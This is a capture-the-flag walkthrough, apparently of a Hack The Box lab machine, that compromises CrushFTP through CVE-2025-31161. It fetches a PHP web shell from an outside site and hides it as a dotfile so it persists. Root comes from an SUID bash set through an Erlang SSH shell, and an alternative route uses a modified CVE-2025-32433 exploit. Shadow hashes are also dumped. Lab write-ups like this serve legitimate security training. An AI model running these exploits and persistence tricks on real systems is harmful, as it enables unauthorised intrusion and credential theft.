Enum
$ export IP=10.129.112.111
$ rustscan --ulimit 10000 -a $IP -- -sCTV -Pn
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-`
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
To scan or not to scan? That is the question.
[~] Automatically increasing ulimit value to 10000.
Open 10.129.112.111:22
Open 10.129.112.111:80
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0VqbKRpOHnpsMuHEXEVJc=
| 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
80/tcp open http syn-ack nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soulmate.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel- Update
/etc/hosts
$ echo "$IP soulmate.htb" | sudo tee -a /etc/hosts- Gobuster reveals new endpoint
$ gobuster vhost -u http://soulmate.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain -t 100
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://soulmate.htb
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent: gobuster/3.8
[+] Timeout: 10s
[+] Append Domain: true
[+] Exclude Hostname Length: false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
ftp.soulmate.htb Status: 302 [Size: 0] [--> /WebInterface/login.html]- Update
/etc/hosts
$ echo "$IP ftp.soulmate.htb" | sudo tee -a /etc/hosts- Visit
ftp.soulmate.htband we see CrushFTP is running

- Quick websearch reveals CVE-2025-31161
$ wget https://raw.githubusercontent.com/Immersive-Labs-Sec/CVE-2025-31161/refs/heads/main/cve-2025-31161.py
$ python cve-2025-31161.py --target_host ftp.soulmate.htb --port 80 --new_user asdf --password asdfasdf
[+] Preparing Payloads
[-] Warming up the target
[+] Sending Account Create Request
[!] User created successfully
[+] Exploit Complete you can now login with
[*] Username: asdf
[*] Password: asdfasdf- Now login as created user



- We can reset user passwords from within this panel
- Different users have different privileges

- Make sure to hit SAVE at the bottom

- Login as Ben with new password

- Ben has ability to upload documents into publicly accessible directory
webProd - I used my version of p0wnyshell but can use whatever
$ curl -O https://blog.johng4lt.com/Tools/vampshell.php


User
- Now visit the page located at http://soulmate.htb/vampshell.php

- Cleaner scripts will remove so we need to rename our shell appending
.to avoid deletion
www-data@soulmate:…/soulmate.htb/public$ mv vampshell.php .vampshell.php- Now access http://soulmate.htb/.vampshell.php for persistent shell
- By checking running processes, one stands out
www-data@soulmate:/$ ps aux
*snip*
/usr/local/lib/erlang_login/start.escript -B -- -root /usr/local/lib/erlang -bindir /usr/local/lib/erlang/erts-15.2.5/bin -progname erl -- -home /root -- -noshell
# To show full entry since it is so long
www-data@soulmate:/$ ps aux | grep erlang
/usr/local/lib/erlang_login/start.escript -B -- -root /usr/local/lib/erlang -bindir /usr/local/lib/erlang/erts-15.2.5/bin -progname erl -- -home /root -- -noshell -boot no_dot_erlang -sname ssh_runner -run escript start -- -- -kernel inet_dist_use_interface {127,0,0,1} -- -extra /usr/local/lib/erlang_login/start.escript- We check this file and can read its source revealing a password and some important SSH information
www-data@soulmate:/$ cat /usr/local/lib/erlang_login/start.escript
#!/usr/bin/env escript
%%! -sname ssh_runner
main(_) ->
application:start(asn1),
application:start(crypto),
application:start(public_key),
application:start(ssh),
io:format("Starting SSH daemon with logging...~n"),
case ssh:daemon(2222, [
{ip, {127,0,0,1}},
{system_dir, "/etc/ssh"},
{user_dir_fun, fun(User) ->
Dir = filename:join("/home", User),
io:format("Resolving user_dir for ~p: ~s/.ssh~n", [User, Dir]),
filename:join(Dir, ".ssh")
end},
{connectfun, fun(User, PeerAddr, Method) ->
io:format("Auth success for user: ~p from ~p via ~p~n",
[User, PeerAddr, Method]),
true
end},
{failfun, fun(User, PeerAddr, Reason) ->
io:format("Auth failed for user: ~p from ~p, reason: ~p~n",
[User, PeerAddr, Reason]),
true
end},
{auth_methods, "publickey,password"},
{user_passwords, [{"ben", "HouseH0ldings998"}]},
{idle_time, infinity},
{max_channels, 10},
{max_sessions, 10},
{parallel_login, true}
]) of
{ok, _Pid} ->
io:format("SSH daemon running on port 2222. Press Ctrl+C to exit.~n");
{error, Reason} ->
io:format("Failed to start SSH daemon: ~p~n", [Reason])
end,
receive
stop -> ok
end.- Can SSH as
benwith these creds - This Erlang SSH script is running as
root
$ sshpass -p 'HouseH0ldings998' ssh ben@soulmate.htb
ben@soulmate:~$ ls
user.txtRoot1
Multiple options
Connect via more stable
www-datashell thenssh ben@localhost -p 2222Can also SSH as
benfirst thenssh ben@localhost -p 2222Or portfwd 2222 as
benand connect on your own machine:sshpass -p HouseH0ldings998 ssh -L 2222:127.0.0.1:2222 ben@soulmate.htb sshpass -p HouseH0ldings998 ssh ben@localhost -p 2222
- Connect to port
2222withbencreds in any way you choose - We inherit
rootprivs in this shell and can simply change SUID onbash - Then spawn root shell via
bash -p
ben@soulmate:~$ ssh ben@127.0.0.1 -p 2222
ben@127.0.0.1`s password: HouseH0ldings998
Eshell V15.2.5 (press Ctrl+G to abort, type help(). for help)
(ssh_runner@soulmate)1> os:cmd("chmod +s /bin/bash").
(ssh_runner@soulmate)3> q().
ok
Connection to 127.0.0.1 closed.
ben@soulmate:~$ bash -p
bash-5.1$ id
uid=1000(ben) gid=1000(ben) euid=0(root) egid=0(root) groups=0(root),1000(ben)
bash-5.1$ ls /root
root.txt scripts
bash-5.1$ cat /etc/shadow
root:$y$j9T$F0ac/VWnpQL9EP1.SyIKb.$YO.C6lGpumKomf/Ql.1D.YFt7kopiSCTdfDyk4FLdY5:20319:0:99999:7:::
ben:$y$j9T$5nWQGACiAivm4O0RaH71X.$6Yn5wee.ahPGiTaVP2aFVeDt2vn5JLH1/f1tNknhyQ7:20319:0:99999:7:::Root2
Alternative Root
There is also CVE-2025-32433 which could have been found after gaining access to
www-data, identifying port 2222 as Erlang.This may be unintended but will add for now.
- We need to change payloads within
CVE-2025-32433.py
*snip*
# Builds SSH_MSG_CHANNEL_REQUEST with 'exec' payload
def build_channel_request(channel_id=0, command=None):
if command is None:
command = 'os:cmd("chmod +s /bin/bash").'
return (
b"\x62" # SSH_MSG_CHANNEL_REQUEST
+ struct.pack(">I", channel_id)
+ string_payload("exec")
+ b"\x01" # want_reply = true
+ string_payload(command)
)
*snip*
# 4. Send SSH_MSG_CHANNEL_REQUEST (pre-auth!)
print("[*] Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...")
chan_req = build_channel_request(command='os:cmd("chmod +s /bin/bash").')
s.sendall(pad_packet(chan_req))
print(
"Exploit complete: Verify with 'ls -la /bin/bash'"
)- Executing as
www-dataorbenwill execute asrootthrough Erlang SSH
ben@soulmate:~$ ls -la /bin/bash
-rwxr-xr-x 1 root root 1396520 Mar 14 2024 /bin/bash
ben@soulmate:~$ python3 CVE-2025-32433.py
[*] Connecting to SSH server...
[+] Received banner: SSH-2.0-Erlang/5.2.9
[*] Sending SSH_MSG_KEXINIT...
[*] Sending SSH_MSG_CHANNEL_OPEN...
[*] Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...
Exploit complete: Verify with 'ls -la /bin/bash'
*snip*
ben@soulmate:~$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1396520 Mar 14 2024 /bin/bash
ben@soulmate:~$ bash -p
bash-5.1# id
uid=1000(ben) gid=1000(ben) euid=0(root) egid=0(root) groups=0(root),1000(ben)